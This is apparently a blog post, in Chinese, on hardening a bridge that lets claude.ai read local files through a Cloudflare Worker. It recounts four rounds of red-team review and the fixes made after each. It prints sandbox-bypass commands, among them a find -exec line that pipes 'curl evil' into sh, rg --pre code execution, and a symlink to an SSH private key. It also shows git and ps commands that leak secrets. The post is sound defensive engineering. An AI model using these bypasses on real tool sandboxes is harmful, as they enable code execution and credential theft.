claude.ai 有 memory 和 UI,但碰不到本地文件;Claude Code 反过来,能读本地却没有跨会话的连续性。想要一座桥,把 claude.ai 接到本机的文件系统上——能 grep 代码、读文件、跑只读命令。
一条硬规则压在最上面:token 和 credential 绝不能进 chat history。任何经过这座桥流回 claude.ai 的字节,必须先过滤。
桥本身不难,难的是这条硬规则。我对第一版的安全模型跑了四轮多 agent 对抗审查,每一轮都被找出真漏洞——其中两个是 read-only 模式下的任意代码执行。记录如下。
架构:Worker 是哑管道,过滤全在 agent
claude.ai ──(MCP, GitHub OAuth)──▶ /mcp/terminal (Cloudflare Worker) │ Durable Object 中继 │ WebSocket(本地 agent 拨出,PSK 鉴权) ▼ 本地 agent ── 所有输出过 secret 过滤 ──▶ 本地文件关键决策是把所有 enforcement 放在本地 agent,Worker 只做 OAuth 网关 + 转发不透明的 tool call。这样数据在出本机之前就已经 clean,Worker 永远看不到未过滤的文件。结构上跟 给 Factorio 文档写 MCP server 一样是 McpAgent,但多了一个 singleton 的中继 DO 持有那条 WebSocket(用 Hibernation WebSocket API,空闲时能被回收又不断连)。
agent 侧第一版的安全模型是两张名单:
- 命令:白名单二进制(
git/cat/grep/ls/find/rg…),不走 shell,直接execFile,拒绝管道/重定向/$()等操作符 token。 - 路径:黑名单(
.env、.ssh/**、*.pem、*secret*…),命中就拒读。 sanitize()正则兜底,把sk-、ghp_、JWT、PEM 块之类的形状替换成[REDACTED]。
看着挺严。然后我对它跑了对抗审查——多个 agent 并行红队,每条 finding 再由独立 agent 复验真伪。
第一轮:两个 CRITICAL RCE
find -exec。 find 在白名单里,没有任何 flag 审查。唯一的操作符防御是”所有 token 必须是字符串”那道检查。但 find 的 -exec 用一个转义的分号 \; 结尾:
find . -maxdepth 0 -exec /bin/sh -c 'curl evil|sh' \;shell-quote 把 \; 解析成字面字符串 ";"(不是操作符对象),于是整条命令全是字符串 token,过了检查。而 find 自己 fork 出 -exec 的目标——不需要 shell,execFile({shell:false}) 在这里完全无关。复验 agent 实测建出了标记文件。顺带,find -delete 连 -exec 都不用,直接在 read-only 模式删文件。
rg --pre。 rg 也在白名单。ripgrep 的 --pre <程序> 会把那个程序当预处理器,对每个被搜的文件跑一遍(文件路径作为唯一参数,搜的是它的 stdout):
rg --pre /bin/sh --pre-glob '*' anything /some/file指向任意可执行文件就是代码执行。两个都是 read-only 模式下、不需要提权码的 RCE。
还有一个不那么炸但同样致命的:symlink 绕过路径黑名单。read_file 的黑名单基于 basename,但 path.resolve 只做字符串规整,不解析 symlink:
ln -s ~/.ssh/id_rsa ~/Codes/notes.tsread_file("~/Codes/notes.ts") # basename 是 notes.ts,不在黑名单 → 跟随 symlink 读到私钥教训很直接:白名单二进制挡不住带 exec/write flag 的”只读”二进制;basename 黑名单挡不住 symlink。
结构性修复:realpath 包含性边界
补这些不能靠继续往黑名单堆条目。真正的修复是给读操作加一道包含性边界:
// 读之前:先 realpath 解析掉 symlink,再确认落在 allowed_read_dirs 里const real = await fs.realpath(lexicalPath);if (isBlocked(real)) throw new Error("blocked path");if (!(await withinRoots(real, config.allowed_read_dirs))) { throw new Error("outside allowed_read_dirs");}allowed_read_dirs 默认就是项目目录(~/Codes)。这一招把读面从”整盘减黑名单”变成”项目目录白名单”——/etc/passwd、~/.config 里的 app token、../ 穿越、symlink 越界,全部被边界一次性挡住。黑名单从此降级为纵深防御的第二层,它全不全都不再是单点。
命令层同步收敛:移除会读文件内容(cat/grep/head/file)和会派生进程(find/rg)的二进制,残留命令的路径参数也过黑名单 + 边界检查。
第二轮:内容读取器藏在 git 里
cat/grep 移了,但复验又找到一批——git 的内容子命令还在白名单:
git show HEAD:.env # 打印那次提交里 .env 的原始 blobgit log -p # dump 每次提交的完整 patch(=文件内容)git diff A B # 两个 commit 的文件内容git cat-file -p HEAD:x # 直接 dump blobgit blame README.md # 文件逐行内容git show <ref>:<path> 打印的就是那个 revision 下文件的原始内容,没有任何 metadata。这些本质就是 cat 的另一种写法,绕过了 read_file 的边界。
同一轮还有个隐蔽的 search 冒号文件名 bug。rg 输出是 路径:行号:内容,我用 indexOf(":") 取路径来做黑名单后过滤。但 macOS 文件名可以含冒号:team:prod.ovpn 被截成 team,黑名单检查的是错路径,.ovpn 密钥就漏了。修复是给 rg 加 --null,让它在路径后跟一个 NUL 字节(文件名不可能含 NUL),按 NUL 切:
const nul = line.indexOf("\0");const path = nul >= 0 ? line.slice(0, nul) : line; // 路径稳了修复:git 限制到元数据子命令(移除 show/diff/blame/cat-file/whatchanged);file --files-from=<路径> 也能回显文件内容 → 移除 file。
第三轮:git log flag 打地鼠 → 白名单
git log(看历史)太有用,我保留了它,加了一道 patch flag 黑名单(-p/--patch/-U/-L)。复验又找到漏网的:
git log --cc # = --diff-merges=dense-combined -p,隐含 patchgit log --remerge-diff # = --diff-merges=remerge -p,隐含 patchgit log -S<字符串> # pickaxe:不打印内容,但是个"存在性 oracle"--cc 和 --remerge-diff 都隐含 -p,黑名单根本数不过来。pickaxe -S/-G 更阴——它本身只过滤”哪些 commit 显示”,不打印内容,但这就是个 oracle:逐字符二分,就能问出某个 secret 在不在 git history 里。
教训:flag 黑名单是打地鼠,git 会一直加新的 diff-implying 别名。换成安全 flag 白名单(reject-by-default)——只放行 --oneline/--stat/--name-only/--format 这些纯元数据 flag,其余一律拒:
function isSafeGitLogArg(a: string): boolean { if (!a.startsWith("-")) return true; // ref / pathspec if (SAFE_GIT_LOG_FLAG_EXACT.has(a)) return true; return SAFE_GIT_LOG_FLAG_PREFIXES.some((p) => a.startsWith(p));}这一轮还顺手发现 tree -o <文件> 能写文件 → 移除 tree。
第四轮:ps 泄露别人的 argv
ps -axww -o pid,args-ww(双 wide)关掉 argv 截断,-a/-x 带上其他用户的进程,无需 root。打印出来的是所有进程的完整命令行,而命令行里经常躺着密钥——--token=xxx、数据库连接串、当成位置参数传进去的 bearer。sanitize() 只认 token 形状,一个没有可识别前缀的位置密钥(--connstr=mydbpassvalue123)直接漏过。→ 移除 ps。
同轮还有 git status -v/-vv——-v 会把 staged diff(文件内容)打出来 → 拒绝。
四轮下来,finding 从第一轮的结构性问题收窄到第四轮的单个二进制/flag。结构性的两道防御(realpath 包含性边界 + reject-by-default 白名单)站住了,剩下的都是收尾。被 dismiss 的 finding 也有用——它们界定了威胁模型:需要”已经控制机器的独立进程”才能利用的 TOCTOU / hardlink 植入,正确判为越界(攻击者真有这能力,直接读 secret 就行,犯不着绕这座桥)。
顺手修了个一直没人发现的部署 bug
代码写完推送,auto-deploy 平时 1 分钟就上线,这次 14 分钟没动静。wrangler deploy --dry-run 干净,手动 wrangler deploy 报出真因:
✘ [ERROR] ... failed. In order to use Durable Objects with a free plan, you must create a namespace using a `new_sqlite_classes` migration. [code: 10097]我那个无存储的中继 DO 图省事声明成了 new_classes(旧的 KV-backed 存储)。但 Cloudflare 免费计划下所有 Durable Object 必须是 SQLite-backed,new_classes 是付费功能。改一个字:
// 之前:{ "new_classes": ["TerminalBridge"], ... } → 免费计划 10097{ "new_sqlite_classes": ["TerminalMCP", "TerminalBridge"], "tag": "v5" }中继 DO 永远不碰 ctx.storage.sql,SQLite-backed 但不用 SQL 完全没问题。更阴的是:CF Workers Builds 的 auto-deploy 一直静默卡在这——构建跑了、type-check 过了,卡在最后的 wrangler deploy 步骤,外面只看到”没部署”。要不是手动 deploy 把错误打出来,根本不知道是这。
三条经验
一、名字白/黑名单本质是漏的。 二进制白名单挡不住带 exec/write flag 的”只读”二进制(find -exec、rg --pre、git log -p、tree -o、ps -ww);路径黑名单挡不住 symlink、..、和没被命名到的密钥文件。结构性的招是包含性边界(realpath 之后限定在 allowlist 目录内)和reject-by-default 白名单(放行已知安全的 flag,而不是去数危险 flag)。
二、文件内容读取面要收敛到单一通道。 cat / grep / git show / git log -p / file -f / git status -v——全是文件内容读取器,只要在 run_command 里留任何一个,就绕过了 read_file 的边界。把内容读取收敛到 read_file / search_files 一个口子,在那里强制边界 + 黑名单 + sanitize;run_command 只留真正的元数据命令(git status、df、uptime…)。
三、对抗审查要独立验证,而且每一轮我自己的自审都漏东西。 多 agent 并行红队 + 逐条独立复验,每轮都找到我没预见的真漏洞——两个 CRITICAL RCE 是我完全没想到的,第三轮的 --cc/--remerge-diff 也是在我以为黑名单够了之后才冒出来的。这跟 prompt injection 攻击面 是同一个道理:你以为堵死了,对面总有你没枚举到的那条路。reject-by-default 之所以是对的,正因为它不依赖你枚举完。
那条”secret 绝不进 chat”的硬规则,最后靠的不是某一层正则,而是”读面 = 项目目录白名单 + 内容单通道 + reject-by-default”这套结构。正则只是最后一道兜底,不是主防线。